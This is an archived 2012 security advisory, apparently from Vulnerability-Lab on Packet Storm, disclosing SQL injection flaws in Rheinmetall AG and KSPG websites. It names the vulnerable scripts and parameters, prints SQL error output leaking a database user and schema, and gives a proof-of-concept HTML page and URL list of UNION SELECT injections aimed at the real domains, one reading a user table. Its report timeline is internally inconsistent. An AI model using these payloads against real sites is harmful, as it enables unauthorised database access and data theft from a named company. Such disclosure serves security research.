exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

RheinMetall AG SQL Injection

RheinMetall AG SQL Injection
Posted Jan 21, 2012
Authored by Vulnerability Laboratory | Site vulnerability-lab.com

RheinMetall AG suffers from multiple remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, sql injection
SHA-256 | 3eb756e1b9406b6f8c5a306c53a43f222305765f3ccef0a611383b111542cf21

RheinMetall AG SQL Injection

Change Mirror Download
Title:
======
RheinMetall AG - Multiple SQL Injection Vulnerabilities


Date:
=====
2012-01-17


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=170


VL-ID:
=====
170


Introduction:
=============
-> UK
Rheinmetall AG is a German automotive and defence company with factories in Düsseldorf, Kassel and Unterlüß.
The company has a long tradition of making guns and artillery pieces. The company is also involved in a variety
of advanced metal-working and milling technologies, allowing it to provide special high-quality components for
small arms in addition to heavy weapon production.

* A traditional company with 20,000 employees worldwide
* Market leader in its core competencies
* EUR 3.4 billion annual sales (2009)

(Copy of the Vendor Homepage: http://en.wikipedia.org/wiki/Rheinmetall)


-> DE
Rheinmetall ist im Jahr 1889 als Rheinische Metallwaaren- und Maschinenfabrik Actiengesellschaft gegründet worden.
Heute steht die Rheinmetall AG für ein substanzstarkes, international erfolgreiches Unternehmen in den Märkten für
Automobilzulieferung und Wehrtechnik.Im Bereich Automotive hat sich die Führungsgesellschaft Kolbenschmidt Pierburg
AG mit ihren Geschäftsbereichen KS Kolbenschmidt, Pierburg, KS Aluminium-Technologie, Pierburg Pump Technology, KS
Gleitlager und Motor Service auf Module und Systeme rund um den Motor spezialisiert. Für die aktuellen und künftigen
Anforderungen der Hersteller werden innovative Lösungen in den Bereichen Schadstoffreduzierung, Verbrauchsminderung,
Leichtbau und Leistungs-optimierung entwickelt und vertrieben. Die Defence Sparte des Rheinmetall Konzerns zählt mit
ihren Geschäftsbereichen Fahrzeug-systeme, Waffe und Munition, Antriebe, Flugabwehr, Verteidigungselektronik sowie
Simulation und Ausbildung zu den namhaften und großen Adressen der internationalen Verteidigungs- und Sicherheitsindustrie.

* Traditionsunternehmen mit 20.000 Mitarbeitern weltweit
* Marktführer in seinen Kernkompetenzen
* 3,4 Mrd EUR Jahresumsatz (2009)

(Copy of the Vendor Homepage: http://www.rheinmetall.de/)


Abstract:
=========
An anonymous researcher of the Vulnerability-Lab Team discovered multiple critical SQL Injection Vulnerabilities
on the famous RheinMetalll AG Vendor, KSPG & Defense Website.


Report-Timeline:
================
2011-01-09: Vendor Notification
2011-02-25: Vendor Notification 2
2011-03-16: Vendor Notification 3
2011-**-**: Vendor Response/Feedback
2011-01-06: Vendor Fix/Patch by VLAB Check
2012-01-17: Public or Non-Public Disclosure


Status:
========
Published


Affected Products:
==================

Exploitation-Technique:
=======================
Remote


Severity:
=========
Critical


Details:
========
Multiple SQl injection vulnerabilities are detected on the official website of Rheinmetall & RDefense. Remote attackers can
execute own sql commands via injection to compromise the web server or the affected dbms. Successful exploitation can result
in sensitive information steal by dumping all application web databases of the main , kspg & defense website.

Vulnerable Module(s):
[+] contact.php
[+] index.php
[+] jobinfo.php
[+] index.php
[+] print.php


Vulnerable:

[+] ?lang=
[+] ?id=
[+] ?gid=
[+] ?jid=
[+] ?fid=

Affected Domains:

[+] rheinmetall.com
[+] hrp.rheinmetall.com
[+] rheinmetall-defence.com
[+] KSPG AG & all Offices Websites (http://www.kspg-ag.de/index.php?fid=119&lang=de)



--- Exception Logs ---
You have an error in your SQL syntax near -* at line 1
You have an error in your SQL syntax near -*-at line 1
--
You have an error in your SQL syntax nearand cms_release=1 and cms_trash=0 and cms_syscat=0 order by cms_order -*at line 1
--
You have an error in your SQL syntax near -* and cms_release = 1 and cms_trash = 0 and cms_syscat = 0-*at line 1You have an error in your SQL syntax
near -* and cms_release = 1 and cms_trash = 0 and cms_syscat = 0 -* at line 1You have an error in your SQL syntax near -* and cms_release = 1 and
cms_trash = 0 and cms_syscat = 0 -* at line 1You have an error in your SQL syntax near -* and cms_release = 1 and cms_trash = 0 and cms_syscat = 0 -* at
line 1You have an error in your SQL syntax near -* and cms_release = 1 and cms_trash = 0 and cms_syscat = 0-* at line 1You have an error in your SQL
syntax near -* and cms_release = 1 and cms_trash = 0 and cms_syscat = 0-* at line 1You have an error in your SQL syntax near -* and cms_release = 1
and cms_trash = 0 and cms_syscat = 0-* at line 1You have an error in your SQL syntax near -* and cms_release = 1 and cms_trash = 0 and cms_syscat = 0-*
at line 1You have an error in your SQL syntax near -* and cms_release = 1 and cms_trash = 0 and cms_syscat = 0 -* at line 1You have an error in your
SQL syntax near -* and cms_release = 1 and cms_trash = 0 and cms_syscat = 0-* at line 1You have an error in your SQL syntax near -* and cms_release =
1 and cms_trash = 0 and cms_syscat = 0-* at line 1You have an error in your SQL syntax near -* and cms_release = 1 and cms_trash = 0 and cms_syscat =
0 -* at line 1You have an error in your SQL syntax near -* and cms_release = 1 and cms_trash = 0 and cms_syscat = 0 -* at line 1You have an error in your
SQL syntax near -* and cms_release = 1 and cms_trash = 0 and cms_syscat = 0-* at line 1You have an error in your SQL syntax near -* and cms_release =
1 and cms_trash = 0 and cms_syscat = 0-* at line 1You have an error in your SQL syntax near -* and cms_release = 1 and cms_trash = 0 and cms_syscat =
0 -* at line 1You have an error in your SQL syntax near -* and cms_release = 1 and cms_trash = 0 and cms_syscat = 0 -* at line 1You have an error in your
SQL syntax near -* and cms_release = 1 and cms_trash = 0 and cms_syscat = 0 -* at line 1You have an error in your SQL syntax near -*and cms_release =
1 and cms_trash = 0 and cms_syscat = 0 -* at line 1You have an error in your SQL syntax near -* and cms_release = 1 and cms_trash = 0 and cms_syscat =
0 -* at line 1
--
Warning: Cannot modify header information - headers already sent by (output started at /usr/local/etc/httpd/htdocs/www.kspg-ag.de/cgi-bin/lib.inc.php:99) in /usr/local/etc/httpd/htdocs/www.kspg-ag.de/index.php on line 37
--
Unknown column -* 10 -* in -*order clause -* You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right
syntax to use near -*and basic_country_id= and basic_berufsgruppe=-* at line 1You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near -* at line 1You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near -* at line 1


DB User: cmshrp -*@-*localhost
DB Schema Name: db_cms_hrp.[tablename]


Pictures:
../1.png
../2.png
../3.png


Proof of Concept:
=================
The vulnerabilities can be exploited by remote attackers without user inter action. For demonstration or reproduce ...

<html>
<head><body>
<title>remote sql-injection test requester</title>
<iframe src=http://www.rheinmetall-defence.com/index.php?lang=1%20%20order%20by%2086-- width=500 height=500><br><br>
<iframe src=http://www.rheinmetall-defence.com/print.php?lang=UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,
22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,
44,45,46,47,48,
49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,@@version--
width=500 height=500><br><br>
<iframe src=http://hrp.rheinmetall.com/index.php?gid=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,
24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,
44,45,
46,47,48 from db_cms_hrp.user--&lang=de width=500 height=500><br><br>
<iframe src=http://hrp.rheinmetall.com/contact.php?id=1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,
23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,
45,46,47,48--&group=Holding&lang=de#15 width=500 height=500><br><br>
<iframe src=http://www.rheinmetall-defence.com/index.php?lang=1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,
23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,
45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,
69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86--
width=500 height=500><br><br>
<iframe src=http://www.kspg-ag.de/index.php?action=automotive&lang=1%20order%20by%2086--&query=[2xp0W] width=500 height=500><
</body></head>
</html>


All Strings:
http://www.rheinmetall-defence.com/index.php?lang=1%20%20order%20by%2086--

http://www.rheinmetall-defence.com/print.php?lang=UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,
23,24,25,
26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,
44,45,46,47,48,
49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,
76,77,78,79,
80,81,82,83,84,85,@@version--


http://hrp.rheinmetall.com/index.php?gid=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,
34,35,36,37,38,39,40,41,42,43,44,45,
46,47,48 from db_cms_hrp.user--&lang=de

http://hrp.rheinmetall.com/contact.php?id=1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,
23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,
45,46,47,48--&group=Holding&lang=de#15

http://www.rheinmetall-defence.com/index.php?lang=1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,
26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,
45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86--


http://www.kspg-ag.de/index.php?action=automotive&lang=1%20order%20by%2086--&query=[2xp0W]



Reference(s):
http://hrp.rheinmetall.com/index.php?gid=...&lang=de
http://www.rheinmetall-defence.com/print.php?lang=... or id=...
http://www.rheinmetall-defence.com/index.php?lang=...
http://www.rheinmetall.de/?lang=...&id=...
http://hrp.rheinmetall.com/jobinfo.php?jid=...&lang=de
http://www.rheinmetall.com/index.php?fid=-...&lang=3
http://www.kspg-ag.de/index.php?action=...&lang=de&query=...


Solution:
=========
2011-01-06: Vendor Fix/Patch by VLAB Check


Risk:
=====
The security risk of the remote sql injection injection vulnerabilities are estimated as critical.


Credits:
========
Vulnerability Research Laboratory - N/A Anonymous


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of
other media, are reserved by Vulnerability-Lab or its suppliers.

Copyright © 2012|Vulnerability-Lab


--
Website: www.vulnerability-lab.com ; vuln-lab.com or vuln-db.com
Contact: admin@vulnerability-lab.com or support@vulnerability-lab.com

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close